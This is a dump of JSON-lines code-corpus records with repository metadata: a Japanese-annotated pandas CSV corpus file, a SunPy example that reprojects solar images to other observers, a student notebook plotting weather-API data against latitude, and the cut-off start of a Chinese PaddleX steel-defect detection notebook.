encoding='utf_8_sig')\n'''\n@test(df=missing;filename='file.txt';$$)\n@alt(BOM\u4ed8\u304d\u3067|BOM\u3092\u4ed8\u3051\u3066|[Windows\u3067|]\u6587\u5b57\u5316\u3051\u3057\u306a\u3044\u3088\u3046\u306b)\n{df\u3092|filename\u306b|BOM\u4ed8\u304d\u3067}\u4fdd\u5b58\u3059\u308b\n'''\n\ndf.to_csv(filename, encoding='shift_jis')\n'''\n@test(df=missing;filename='file.txt';$$)\n{df\u3092|filename\u306b|SJIS\u3067}\u4fdd\u5b58\u3059\u308b\n'''\n\ndf.to_csv(filename, float_format='%.3f')\n'''\n@test(pd=missing;filename='file.txt';$$)\n\u4fdd\u5b58\u3059\u308bCSV\u30d5\u30a1\u30a4\u30eb\u306e\u5c0f\u6570\u70b9\u4ee5\u4e0b\u306e\u6841\u6570\u3092\u8a2d\u5b9a\u3059\u308b\n{df\u3092|filename\u306b|\u5c0f\u6570\u70b9\u4ee5\u4e0b3\u6841\u307e\u3067}\u4fdd\u5b58\u3059\u308b\n'''\n", "meta": {"hexsha": "4d7cf0d59bdb3d5ab666f3b38ffbce583a43bca6", "size": 5384, "ext": "py", "lang": "Python", "max_stars_repo_path": "new_corpus/_pandas_file.py", "max_stars_repo_name": "obrmmk/multiese-1", "max_stars_repo_head_hexsha": "137f050c40553ce907c985421e0d76b51ca351f7", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "new_corpus/_pandas_file.py", "max_issues_repo_name": "obrmmk/multiese-1", "max_issues_repo_head_hexsha": "137f050c40553ce907c985421e0d76b51ca351f7", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "new_corpus/_pandas_file.py", "max_forks_repo_name": "obrmmk/multiese-1", "max_forks_repo_head_hexsha": "137f050c40553ce907c985421e0d76b51ca351f7", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 9, "max_forks_repo_forks_event_min_datetime": "2021-11-30T02:41:05.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-17T14:55:42.000Z", "avg_line_length": 17.2012779553, "max_line_length": 71, "alphanum_fraction": 0.7028231798, "include": true, "reason": "import numpy", "num_tokens": 3001, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.1066905854244781, "lm_q1q2_score": 0.05209524129716446}}
{"text": "\"\"\"\n==========================================\nReprojecting Images to Different Observers\n==========================================\n\nThis example demonstrates how you can reproject images to the view from\ndifferent observers, we use both AIA and STEREO A data to demonstrate this.\n\nYou will need `reproject <https://reproject.readthedocs.io/en/stable/>`__ v0.6 or higher installed.\n\"\"\"\n# sphinx_gallery_thumbnail_number = 2\n\nimport matplotlib.pyplot as plt\nfrom reproject import reproject_interp\n\nimport astropy.units as u\nfrom astropy.coordinates import SkyCoord\nfrom astropy.wcs import WCS\n\nimport sunpy.map\nfrom sunpy.coordinates import get_body_heliographic_stonyhurst\nfrom sunpy.net import Fido\nfrom sunpy.net import attrs as a\n\n######################################################################\n# In this example we are going to make a lot of side by side figures, so\n# let's change the default figure size.\n\nplt.rcParams['figure.figsize'] = (16, 8)\n\n######################################################################\n# Let\u2019s download an EUV image from both AIA and STEREO A, when their\n# separation was around 90 degrees.\n\nstereo = (a.vso.Source('STEREO_A') &\n          a.Instrument('EUVI') &\n          a.Time('2010-08-19', '2010-08-19T00:10:00'))\naia = (a.Instrument('AIA') &\n       a.vso.Sample(24 * u.hour) &\n       a.Time('2010-08-19', '2010-08-19T00:10:00'))\nwave = a.Wavelength(17 * u.nm, 18 * u.nm)\n\nres = Fido.search(wave, aia | stereo)\nfiles = Fido.fetch(res)\n\n######################################################################\n# Create a map for each image.\n\nmap_aia, map_stereo = sunpy.map.Map(sorted(files))\n\n# We downsample these maps to reduce memory consumption, you can comment this\n# out.\nmap_aia = map_aia.resample((512, 512) * u.pix)\nmap_stereo = map_stereo.resample((512, 512) * u.pix)\n\nfig = plt.figure()\nax1 = fig.add_subplot(1, 2, 1, projection=map_aia)\nmap_aia.plot(axes=ax1)\nax2 = fig.add_subplot(1, 2, 2, projection=map_stereo)\nmap_stereo.plot(axes=ax2)\n\n######################################################################\n# We now need to construct an output WCS. Because we want to downsample\n# the image (for performance) we build a custom header using\n# ``sunpy.map.make_fitswcs_header`` but we use a lot of the ``map_aia``\n# properties to do it. We use the reference coordinate from the AIA image,\n# and make the scale 4x larger to compensate for the fact we are making\n# the resolution 4x lower.\n\nout_shape = (512, 512)\nout_header = sunpy.map.make_fitswcs_header(\n    out_shape,\n    map_aia.reference_coordinate,\n    scale=u.Quantity(map_aia.scale)*4,\n    instrument=\"EUVI\",\n    observatory=\"AIA Observer\",\n    wavelength=map_stereo.wavelength\n)\n\n######################################################################\n# Next we construct an `~astropy.wcs.WCS` object from the header.\n# Currently `~astropy.wcs.WCS` does not understand the observer\n# position, so we manually set that.\n\nout_wcs = WCS(out_header)\nout_wcs.heliographic_observer = map_aia.reference_coordinate.observer\n\n######################################################################\n# We can now reproject the STEREO map to this output `~astropy.wcs.WCS`.\n# Here we are using the fastest but least accurate method of reprojection,\n# `reproject.reproject_interp`, a more accurate but slower method is\n# `reproject.reproject_adaptive`.\n\noutput, footprint = reproject_interp(map_stereo, out_wcs, out_shape)\n\n######################################################################\n# We can now plot the STEREO image as seen from the position of SDO, next\n# to the AIA image.\n\noutmap = sunpy.map.Map(output, out_header)\noutmap.plot_settings = map_stereo.plot_settings\n\nfig = plt.figure()\nax1 = fig.add_subplot(1, 2, 1, projection=map_aia)\nmap_aia.plot(axes=ax1)\nax2 = fig.add_subplot(1, 2, 2, projection=outmap)\noutmap.plot(axes=ax2)\n\n######################################################################\n# AIA as Seen from Mars\n# =====================\n#\n# We can also change the observer of the AIA image to any observer\n# coordinate. SunPy provides a function which can get the observer\n# coordinate for any known body. In this example we are going to use Mars.\n\nmars = get_body_heliographic_stonyhurst('mars', map_aia.date)\n\n######################################################################\n# We now generate a target WCS, to do this we need to generate a reference\n# coordinate, which is similar to the aia frame, but scaled down by 4x and\n# with the observer at Mars. To do this we generate a new reference\n# coordinate.\n\nmars_ref_coord = SkyCoord(map_aia.reference_coordinate.Tx,\n                          map_aia.reference_coordinate.Ty,\n                          obstime=map_aia.reference_coordinate.obstime,\n                          observer=mars,\n                          frame=\"helioprojective\")\n\n######################################################################\n# then a header\n\nout_shape = (512, 512)\nmars_header = sunpy.map.make_fitswcs_header(\n    out_shape,\n    mars_ref_coord,\n    scale=u.Quantity(map_aia.scale)*4,\n    rotation_matrix=map_aia.rotation_matrix,\n    instrument=\"AIA\",\n    wavelength=map_aia.wavelength\n)\n\n######################################################################\n# Once again we need to generate a `~astropy.wcs.WCS` and then manually\n# set the observer location.\n\nmars_wcs = WCS(mars_header)\nmars_wcs.heliographic_observer = mars\n\noutput, footprint = reproject_interp(map_aia, mars_wcs, out_shape)\n\n######################################################################\n# We generate the output map and plot it next to the original image.\n\noutmap = sunpy.map.Map((output, mars_header))\noutmap.plot_settings = map_aia.plot_settings\n\nfig = plt.figure()\n\nax1 = fig.add_subplot(1, 2, 1, projection=map_aia)\nmap_aia.plot(axes=ax1)\noutmap.draw_grid(color='w')\n\nax2 = fig.add_subplot(1, 2, 2, projection=outmap)\noutmap.plot(axes=ax2)\noutmap.draw_grid(color='w')\n\nplt.show()\n", "meta": {"hexsha": "70ff900a6216f47e7bf04063e1fd964cb6c3bad4", "size": 5946, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/sunpy_other_packages/reprojection_different_observers.py", "max_stars_repo_name": "Laubeee/sunpy", "max_stars_repo_head_hexsha": "c78989774567055618ba23533f8927a355e98788", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/sunpy_other_packages/reprojection_different_observers.py", "max_issues_repo_name": "Laubeee/sunpy", "max_issues_repo_head_hexsha": "c78989774567055618ba23533f8927a355e98788", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/sunpy_other_packages/reprojection_different_observers.py", "max_forks_repo_name": "Laubeee/sunpy", "max_forks_repo_head_hexsha": "c78989774567055618ba23533f8927a355e98788", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.9764705882, "max_line_length": 99, "alphanum_fraction": 0.6172216616, "include": true, "reason": "import astropy,from astropy", "num_tokens": 1403, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.10669058400428263, "lm_q1q2_score": 0.0520952406037066}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # WeatherPy\n# ----\n# \n# #### Note\n# * Instructions have been included for each segment. You do not have to follow them exactly, but they are included to help you think through the steps.\n\n# In[1]:\n\n\n# Dependencies and Setup\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport requests\nimport time\nfrom scipy.stats import linregress\n\n# Import API key\nfrom api_keys import weather_api_key\n\n# Incorporated citipy to determine city based on latitude and longitude\nfrom citipy import citipy\n\n# Output File (CSV)\noutput_data_file = \"output_data/cities.csv\"\n\n# Range of latitudes and longitudes\nlat_range = (-90, 90)\nlng_range = (-180, 180)\n\n\n# ## Generate Cities List\n\n# In[23]:\n\n\n# List for holding lat_lngs and cities\nlat_lngs = []\ncities = []\n\n# Create a set of random lat and lng combinations\nlats = np.random.uniform(lat_range[0], lat_range[1], size=1500)\nlngs = np.random.uniform(lng_range[0], lng_range[1], size=1500)\nlat_lngs = zip(lats, lngs)\n\n# Identify nearest city for each lat, lng combination\nfor lat_lng in lat_lngs:\n    city = citipy.nearest_city(lat_lng[0], lat_lng[1]).city_name\n    \n    # If the city is unique, then add it to a our cities list\n    if city not in cities:\n        cities.append(city)\n\n# Print the city count to confirm sufficient count\nlen(cities)\n\n\n# ### Perform API Calls\n# * Perform a weather check on each city using a series of successive API calls.\n# * Include a print log of each city as it'sbeing processed (with the city number and city name).\n# \n\n# In[24]:\n\n\ncity_name_list = []\ncloudiness_list = []\ncountry_list = []\ndate_list = []\nhumidity_list = []\nlat_list = []\nlng_list = []\nmax_temp_list = []\nwind_speed_list = []\nindex_counter = 0\nset_counter = 1\n\nbase_url = \"http://api.openweathermap.org/data/2.5/weather?\"\nunits = \"imperial\"\nquery_url = f\"{base_url}appid={weather_api_key}&units={units}&q=\"\n\nfor index, city in enumerate(cities, start = 1):\n    try:\n        response = requests.get(query_url + city).json()\n        city_name_list.append(response[\"name\"])\n        cloudiness_list.append(response[\"clouds\"][\"all\"])\n        country_list.append(response[\"sys\"][\"country\"])\n        date_list.append(response[\"dt\"])\n        humidity_list.append(response[\"main\"][\"humidity\"])\n        lat_list.append(response[\"coord\"][\"lat\"])\n        lng_list.append(response[\"coord\"][\"lon\"])\n        max_temp_list.append(response['main']['temp_max'])\n        wind_speed_list.append(response[\"wind\"][\"speed\"])\n        if index_counter > 49:\n            index_counter = 0\n            set_counter = set_counter + 1\n    \n        else:\n            index_counter = index_counter + 1\n            \n        print(f\"Processed record {index_counter} of set {set_counter} : {city}\") \n  \n    except(KeyError, IndexError):\n        print(\"City not found. Bypassing......\")\n\n\n# ### Convert Raw Data to DataFrame\n# * Export the city data into a .csv.\n# * Display the DataFrame\n\n# In[6]:\n\n\nweather_dict = pd.DataFrame({ \n                \"City\" : city_name_list,\n                \"Cloudiness\" : cloudiness_list,\n                \"Country\" : country_list,\n                \"Date\" : date_list,\n                \"Humidity\" : humidity_list,\n                \"Lat\" : lat_list,\n                \"Lng\" : lng_list,\n                \"Max Temp\" : max_temp_list,\n                \"Wind Speed\" : wind_speed_list\n})\n\n\n# In[7]:\n\n\n\nweather_dict.count()\n\nweather_dict\n\n\n# ## Inspect the data and remove the cities where the humidity > 100%.\n# ----\n# Skip this step if there are no cities that have humidity > 100%. \n\n# In[ ]:\n\n\n\n\n\n# In[8]:\n\n\n#  Get the indices of cities that have humidity over 100%.\n\n\n# In[9]:\n\n\n# Make a new DataFrame equal to the city data to drop all humidity outliers by index.\n# Passing \"inplace=False\" will make a copy of the city_data DataFrame, which we call \"clean_city_data\".\n\n\n# In[ ]:\n\n\n\n\n\n# ## Plotting the Data\n# * Use proper labeling of the plots using plot titles (including date of analysis) and axes labels.\n# * Save the plotted figures as .pngs.\n\n# ## Latitude vs. Temperature Plot\n\n# In[10]:\n\n\nplt.scatter(weather_dict[\"Lat\"], weather_dict[\"Max Temp\"], facecolor = \"steelblue\", edgecolor = \"black\")\n\nplt.title(\"City Latitude vs. Max Temperature (01/17/20)\")\nplt.xlabel(\"Laitude\")\nplt.ylabel(\"Max Temperature (F)\")\n\n\nplt.grid(linestyle='-', linewidth=1, alpha = 0.5)\n\nplt.savefig(\"../Images/City Latitude vs Max Temperature.png\")\n\n\n# ## Latitude vs. Humidity Plot\n\n# In[11]:\n\n\nplt.scatter(weather_dict[\"Lat\"], weather_dict[\"Humidity\"], facecolor = \"steelblue\", edgecolor = \"black\")\nplt.title(\"City Latitude vs. Humidity (01/17/20)\")\nplt.xlabel(\"Laitude\")\nplt.ylabel(\"Humidity (%)\")\nplt.grid(linestyle='-', linewidth=1, alpha = 0.5)\nplt.savefig(\"../Images/City Latitude vs Humidity.png\")\n\n\n# ## Latitude vs. Cloudiness Plot\n\n# In[12]:\n\n\nplt.scatter(weather_dict[\"Lat\"], weather_dict[\"Cloudiness\"], facecolor = \"steelblue\", edgecolor = \"black\")\n\nplt.title(\"City Latitude vs. Cloudiness (01/17/20)\")\n\nplt.xlabel(\"Laitude\")\n\nplt.ylabel(\"Cloudiness (%)\")\n\nplt.ylim(-5,105)\n\nplt.grid(linestyle='-', linewidth=1, alpha = 0.5)\n\nplt.savefig(\"../Images/City Latitude vs Cloudiness.png\")\n\n\n# ## Latitude vs. Wind Speed Plot\n\n# In[13]:\n\n\nplt.scatter(weather_dict[\"Lat\"], weather_dict[\"Wind Speed\"], facecolor = \"steelblue\", edgecolor = \"black\")\nplt.title(\"City Latitude vs. Wind Speed (mph) (01/17/20)\")\n\nplt.xlabel(\"Laitude\")\n\nplt.ylabel(\"Wind Speed (%)\")\n\nplt.ylim(-2,50)\n\nplt.grid(linestyle='-', linewidth=1, alpha = 0.5)\n\nplt.savefig(\"../Images/City Latitude vs Wind Speed (mph).png\")\n\n\n# ## Linear Regression\n\n# In[14]:\n\n\nnorthern_hemisphere = weather_dict.loc[weather_dict[\"Lat\"] >= 0]\nsouthern_hemisphere = weather_dict.loc[weather_dict[\"Lat\"] < 0]\n\ndef linear_agression(x,y):\n    print(f\"The r-squared is : {round(st.pearsonr(x, y)[0],2)}\")\n    (slope, intercept, rvalue, pvalue, stderr) = linregress(x, y)\n    regress_values = x * slope + intercept\n    line_eq = \"y = \" + str(round(slope,2)) + \"x + \" + str(round(intercept,2))\n    plt.scatter(x, y)\n    plt.plot(x,regress_values,\"r-\")\n    return line_eq\n\ndef annotate(line_eq, a, b):\n    plt.annotate(line_eq,(a,b),fontsize=15,color=\"red\")\n\n\n# ####  Northern Hemisphere - Max Temp vs. Latitude Linear Regression\n\n# In[25]:\n\n\nequation = linear_agression(northern_hemisphere[\"Lat\"], northern_hemisphere[\"Max Temp\"])\n\nannotate(equation, 0, 0)\n\nplt.title(\"Northern Hemisphere - Max Temp vs. Latitude Linear Regression\")\n\nplt.xlabel(\"Latitude\")\n\nplt.ylabel(\"Max Temp (F)\")\n\n\n# ####  Southern Hemisphere - Max Temp vs. Latitude Linear Regression\n\n# In[ ]:\n\n\nequation = linear_agression(southern_hemisphere[\"Lat\"],southern_hemisphere[\"Max Temp\"])\n\nannotate(equation, -30, 50)\n\nplt.title(\"Southern Hemisphere - Max Temp vs. Latitude Linear Regression\")\n\nplt.xlabel(\"Latitude\")\n\nplt.ylabel(\"Max Temp (F)\")\n\n\n# ####  Northern Hemisphere - Humidity (%) vs. Latitude Linear Regression\n\n# In[ ]:\n\n\nequation = linear_agression(northern_hemisphere[\"Lat\"], northern_hemisphere[\"Humidity\"])\n\nannotate(equation, 40, 15)\n\nplt.title(\"Northern Hemisphere - Humidity (%) vs. Latitude Linear Regression\")\n\nplt.xlabel(\"Latitude\")\n\nplt.ylabel(\"Humidity (%)\")\n\n\n# ####  Southern Hemisphere - Humidity (%) vs. Latitude Linear Regression\n\n# In[ ]:\n\n\nequation = linear_agression(southern_hemisphere[\"Lat\"], southern_hemisphere[\"Humidity\"])\n\nannotate(equation, -40, 50)\n\nplt.title(\"Southern Hemisphere - Humidity (%) vs. Latitude Linear Regression\")\n\nplt.xlabel(\"Latitude\")\n\nplt.ylabel(\"Humidity (%)\")\n\n\n# ####  Northern Hemisphere - Cloudiness (%) vs. Latitude Linear Regression\n\n# In[ ]:\n\n\nequation = linear_agression(northern_hemisphere[\"Lat\"], northern_hemisphere[\"Cloudiness\"])\n\nannotate(equation, 30, 40)\n\nplt.title(\"Northern Hemisphere - Cloudiness (%) vs. Latitude Linear Regression\")\n\nplt.xlabel(\"Latitude\")\n\nplt.ylabel(\"Cloudiness (%)\")\n\n\n# ####  Southern Hemisphere - Cloudiness (%) vs. Latitude Linear Regression\n\n# In[ ]:\n\n\nequation = linear_agression(southern_hemisphere[\"Lat\"], southern_hemisphere[\"Cloudiness\"])\n\nannotate(equation, -30, 40)\n\nplt.title(\"Southern Hemisphere - Cloudiness (%) vs. Latitude Linear Regression\")\n\nplt.xlabel(\"Latitude\")\n\nplt.ylabel(\"Cloudiness (%)\")\n\n\n# ####  Northern Hemisphere - Wind Speed (mph) vs. Latitude Linear Regression\n\n# In[ ]:\n\n\nequation = linear_agression(northern_hemisphere[\"Lat\"], northern_hemisphere[\"Wind Speed\"])\n\nannotate(equation, 40, 20)\n\nplt.title(\"Northern Hemisphere - Wind Speed (mph) vs. Latitude Linear Regression\")\n\nplt.xlabel(\"Latitude\")\n\nplt.ylabel(\"Wind Speed (mph)\")\n\n\n# ####  Southern Hemisphere - Wind Speed (mph) vs. Latitude Linear Regression\n\n# In[32]:\n\n\nequation = linear_agression(southern_hemisphere[\"Lat\"], southern_hemisphere[\"Wind Speed\"])\n\nannotate(equation, -30, 15)\n\nplt.title(\"Southern Hemisphere - Wind Speed (mph) vs. Latitude Linear Regression\")\n\nplt.xlabel(\"Latitude\")\n\nplt.ylabel(\"Wind Speed (mph)\")\n\n\n# In[ ]:\n\n\nplt.savefig(\"../Images/Southern Hemisphere - Cloudiness (%) vs. Latitude Linear Regression.png\")\nplt.savefig(\"../Images/Southern Hemisphere - Humidity (%) vs. Latitude Linear Regression.png\")\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "19f272c2cb1e6ecf2716f9dabd0feaf28edb8188", "size": 9121, "ext": "py", "lang": "Python", "max_stars_repo_path": "WeatherPy.py", "max_stars_repo_name": "VectorReaves/python-api-challenge", "max_stars_repo_head_hexsha": "8d641764436a6c9bc847fc7d5d5915d17eb5c731", "max_stars_repo_licenses": ["ADSL"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "WeatherPy.py", "max_issues_repo_name": "VectorReaves/python-api-challenge", "max_issues_repo_head_hexsha": "8d641764436a6c9bc847fc7d5d5915d17eb5c731", "max_issues_repo_licenses": ["ADSL"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "WeatherPy.py", "max_forks_repo_name": "VectorReaves/python-api-challenge", "max_forks_repo_head_hexsha": "8d641764436a6c9bc847fc7d5d5915d17eb5c731", "max_forks_repo_licenses": ["ADSL"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.6890547264, "max_line_length": 152, "alphanum_fraction": 0.6813945839, "include": true, "reason": "import numpy,from scipy", "num_tokens": 2314, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3812195803163617, "lm_q2_score": 0.13660838475359832, "lm_q1q2_score": 0.05207779110346282}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# \n# # \u4f5c\u4e1a\u56db\uff1a\u64b0\u5199\u9879\u76eeREADME\u5e76\u5b8c\u6210\u5f00\u6e90\n# \n# ## \u8bc4\u5206\u6807\u51c6\n# 1.\u683c\u5f0f\u89c4\u8303\uff08\u6709\u81f3\u5c113\u4e2a\u5c0f\u6807\u9898\uff0c\u5185\u5bb9\u5b8c\u6574\uff09\uff0c\u4e00\u4e2a\u5c0f\u6807\u98985\u5206\uff0c\u6700\u9ad820\u5206\n# \n# 2.\u56fe\u6587\u5e76\u8302\uff0c\u4e00\u5f20\u56fe5\u5206\uff0c\u6700\u9ad820\u5206\n# \n# 3.\u6709\u53ef\u8fd0\u884c\u7684\u4ee3\u7801\uff0c\u4e14\u4ee3\u7801\u5185\u6709\u8be6\u7ec6\u6ce8\u91ca\uff0c20\u5206\n# \n# 4.\u4ee3\u7801\u5f00\u6e90\u5230github\uff0c15\u5206\n# \n# 5.\u4ee3\u7801\u540c\u6b65\u5230gitee\uff0c5\u5206\n# \n# ## \u4f5c\u4e1a\u76ee\u7684\n# \u4f7f\u7528MarkDown\u64b0\u5199\u9879\u76ee\u5e76\u4e14\u5b66\u4f1a\u4f7f\u7528\u5f00\u6e90\u5de5\u5177\u3002\n# \n# \n# \n# ## \u53c2\u8003\u8d44\u6599\uff1a\n# - [\u5982\u4f55\u5199\u597d\u4e00\u7bc7\u9ad8\u8d28\u91cf\u7684\u7cbe\u9009\u9879\u76ee\uff1f](https://aistudio.baidu.com/aistudio/projectdetail/2175889)\n\n# \n# * # \u57fa\u4e8epaddlex\u94a2\u6750\u8868\u9762\u7f3a\u9677\u68c0\u6d4b\n# \n# ![](https://ai-studio-static-online.cdn.bcebos.com/bc09053d79f6454ab78e1823063ca2a04be7fb45d1c64eecba1d42d18db2cb93)\n# ![](https://ai-studio-static-online.cdn.bcebos.com/b37f7b1e531b4f6fb1aa685fffca96345bda5f6d30704f8f85d5cdd417616da8)\n# \n# \n# \n# \n\n#  ## \u4e00\u3001\u9879\u76ee\u80cc\u666f\u4ecb\u7ecd\n# \u94a2\u94c1\u8868\u9762\u8d28\u91cf\u7684\u597d\u574f\uff0c\u76f4\u63a5\u5f71\u54cd\u540e\u7eed\u4ea7\u54c1\u7684\u5236\u9020\u8d28\u91cf\u3002\u4f46\u5728\u751f\u4ea7\u8fc7\u7a0b\u4e2d\uff0c\u4e0d\u53ef\u907f\u514d\u5730\u4f1a\u4ea7\u751f\u4e00\u4e9b\u7f3a\n# \u9677\u3002\u8fd9\u4e9b\u7f3a\u9677\u4f1a\u4e25\u91cd\u5f71\u54cd\u4ea7\u54c1\u8d28\u91cf\uff0c\u7ed9\u4f01\u4e1a\u9020\u6210\u7ecf\u6d4e\u635f\u5931\u3002\u56e0\u6b64\u94a2\u94c1\u8fdb\u884c\u7f3a\u9677\u68c0\u6d4b\u6781\u4e3a\u91cd\u8981\u3002\u4f20\u7edf\u7684\u57fa\u4e8e\u673a\u5668\u89c6\u89c9\u7684\u8868\u9762\u7f3a\u9677\u68c0\u6d4b\u65b9\u6cd5\uff0c\u5f80\u5f80\u91c7\u7528\u5e38\u89c4\u56fe\u50cf\u5904\u7406\u7b97\u6cd5\u6216\u4eba\u5de5\u8bbe\u8ba1\u7279\u5f81\u52a0\u5206\u7c7b\u5668\u65b9\u5f0f\u3002\u8fd9\u79cd\u65b9\u5f0f\u6210\u672c\u9ad8\u4e0d\u591f\u7cbe\u786e\uff0c\u5728\u6709\u5145\u5206\u7684\u6570\u636e\u548c\u9ad8\u6027\u80fd\u786c\u4ef6\u652f\u6301\u7684\u6761\u4ef6\u4e0b\uff0c\u57fa\u4e8e\u6df1\u5ea6\u5b66\u4e60\u7684\u8868\u9762\u7f3a\u9677\u68c0\u6d4b\u53ef\u4ee5\u5927\u5927\u63d0\u9ad8\u68c0\u6d4b\u7cbe\u5ea6\u4ee5\u53ca\u68c0\u6d4b\u6548\u7387\u3002\u4eca\u5929\u7684\u9879\u76ee\u662f\u94a2\u94c1\u8868\u9762\u7684\u7f3a\u9677\u68c0\u6d4b\uff0c\u4ee5\u4e0b\u662f[\u5de5\u4e1a\u573a\u666f\u8868\u9762\u7f3a\u9677\u68c0\u6d4b\u6570\u636e\u96c6\u53ca\u8bba\u6587\u96c6](https://github.com/Charmve/Surface-Defect-Detection/blob/master/ReadmeChinese.md#1%E9%92%A2%E6%9D%90%E8%A1%A8%E9%9D%A2%E6%95%B0%E6%8D%AE%E9%9B%86neu-cls)\u53ef\u80fd\u5bf9\u4f60\u6709\u5e2e\u52a9\uff0c\u5efa\u8bae\u6536\u85cf\u3002\n\n# ## \u4e8c\u3001\u6570\u636e\u4ecb\u7ecd\n# \n# **\u6570\u636e\u96c6\u4ecb\u7ecd**\n# \n# \u5730\u5740\uff1ahttp://faculty.neu.edu.cn/yunhyan/NEU_surface_defect_database.html\n# \n# ![](https://ai-studio-static-online.cdn.bcebos.com/04af07309c4e4dafa5f2e6c60739c6dae1124ddaa3fa4f88aa9c7507894f79be)\n# \n# \n# \u7531\u4e1c\u5317\u5927\u5b66\uff08NEU\uff09\u53d1\u5e03\u7684\u8868\u9762\u7f3a\u9677\u6570\u636e\u5e93\uff0c\u6536\u96c6\u4e86\u70ed\u8f67\u94a2\u5e26\u7684\u516d\u79cd\u5178\u578b\u8868\u9762\u7f3a\u9677\uff0c\u5373\u8f67\u5236\u6c27\u5316\u76ae\uff08RS\uff09\uff0c\u6591\u5757\uff08Pa\uff09\uff0c\u5f00\u88c2\uff08Cr\uff09\uff0c\u70b9\u8680\u8868\u9762\uff08 PS\uff09\uff0c\u5185\u542b\u7269\uff08In\uff09\u548c\u5212\u75d5\uff08Sc\uff09\u3002\u8be5\u6570\u636e\u5e93\u5305\u62ec1,800\u4e2a200\u00d7200\u50cf\u7d20\u7684\u7070\u5ea6\u56fe\u50cf\uff1a\u516d\u79cd\u4e0d\u540c\u7c7b\u578b\u7684\u5178\u578b\u8868\u9762\u7f3a\u9677\uff0c\u6bcf\u4e00\u7c7b\u7f3a\u9677\u5305\u542b300\u4e2a\u6837\u672c\u3002\u5bf9\u4e8e\u7f3a\u9677\u68c0\u6d4b\u4efb\u52a1\uff0c\u6570\u636e\u96c6\u63d0\u4f9b\u4e86\u6ce8\u91ca\uff0c\u6307\u793a\u6bcf\u4e2a\u56fe\u50cf\u4e2d\u7f3a\u9677\u7684\u7c7b\u522b\u548c\u4f4d\u7f6e\u3002\u5bf9\u4e8e\u6bcf\u4e2a\u7f3a\u9677\uff0c\u9ec4\u8272\u6846\u662f\u6307\u793a\u5176\u4f4d\u7f6e\u7684\u8fb9\u6846\uff0c\u7eff\u8272\u6807\u7b7e\u662f\u7c7b\u522b\u5206\u6570\u3002\n# \n# \n\n# In[2]:\n\n\n\n# \u89e3\u538b\u6570\u636e\u96c6\u5230MyDataset\u6587\u4ef6\u5939\u4e2d\nget_ipython().system('unzip data/data102850/NEU-DET.zip -d ./MyDataset/')\n\n\n# ## \u4e09\u3001\u6a21\u578b\u4ecb\u7ecd\n# PaddleX\u76ee\u524d\u63d0\u4f9b\u4e86FasterRCNN\u548cYOLOv3\u4e24\u79cd\u68c0\u6d4b\u7ed3\u6784\uff0c\u591a\u79cdbackbone\u6a21\u578b\uff0c\u53ef\u6ee1\u8db3\u5f00\u53d1\u8005\u4e0d\u540c\u573a\u666f\u548c\u6027\u80fd\u7684\u9700\u6c42\u3002\u672c\u9879\u76ee\u4e2d\u91c7\u7528YOLOv3-MobileNetV3\u4f5c\u4e3a\u68c0\u6d4b\u6a21\u578b\u8fdb\u884c\u94a2\u6750\u7f3a\u9677\u68c0\u6d4b\u3002\u6a21\u578b\u4f18\u70b9\u662f\u6a21\u578b\u5c0f\uff0c\u79fb\u52a8\u7aef\u4e0a\u9884\u6d4b\u901f\u5ea6\u6709\u4f18\u52bf\u3002\u56e0\u4e3a\u4e4b\u540e\u8981\u90e8\u7f72\u5230\u79fb\u52a8\u7aef\u6240\u4ee5\u6211\u9009\u62e9\u4e86\u8fd9\u4e2a\u6a21\u578b\u3002\n# \n\n# ## \u56db\u3001\u6a21\u578b\u8bad\u7ec3\n# PaddleX\u63d0\u4f9b\u4e86\u4e30\u5bcc\u7684\u89c6\u89c9\u6a21\u578b\uff0c\u901a\u8fc7\u67e5\u9605[PaddleX\u6a21\u578b\u5e93](https://paddlex.readthedocs.io/zh_CN/release-1.3/appendix/model_zoo.html)\uff0c\u5728\u76ee\u6807\u68c0\u6d4b\u4e2d\u63d0\u4f9b\u4e86RCNN\u548cYOLO\u7cfb\u5217\u6a21\u578b\u3002\u5728\u672c\u9879\u76ee\u4e2d\u91c7\u7528YOLOv3-MobileNetV3\u4f5c\u4e3a\u68c0\u6d4b\u6a21\u578b\u8fdb\u884c\u94a2\u6750\u7f3a\u9677\u68c0\u6d4b\u3002\n\n# In[ ]:\n\n\nimport paddlex as pdx\nfrom paddlex import transforms as T\n\n\n# In[ ]:\n\n\n# \u5b9a\u4e49\u8bad\u7ec3\u548c\u9a8c\u8bc1\u65f6\u7684transforms\n# 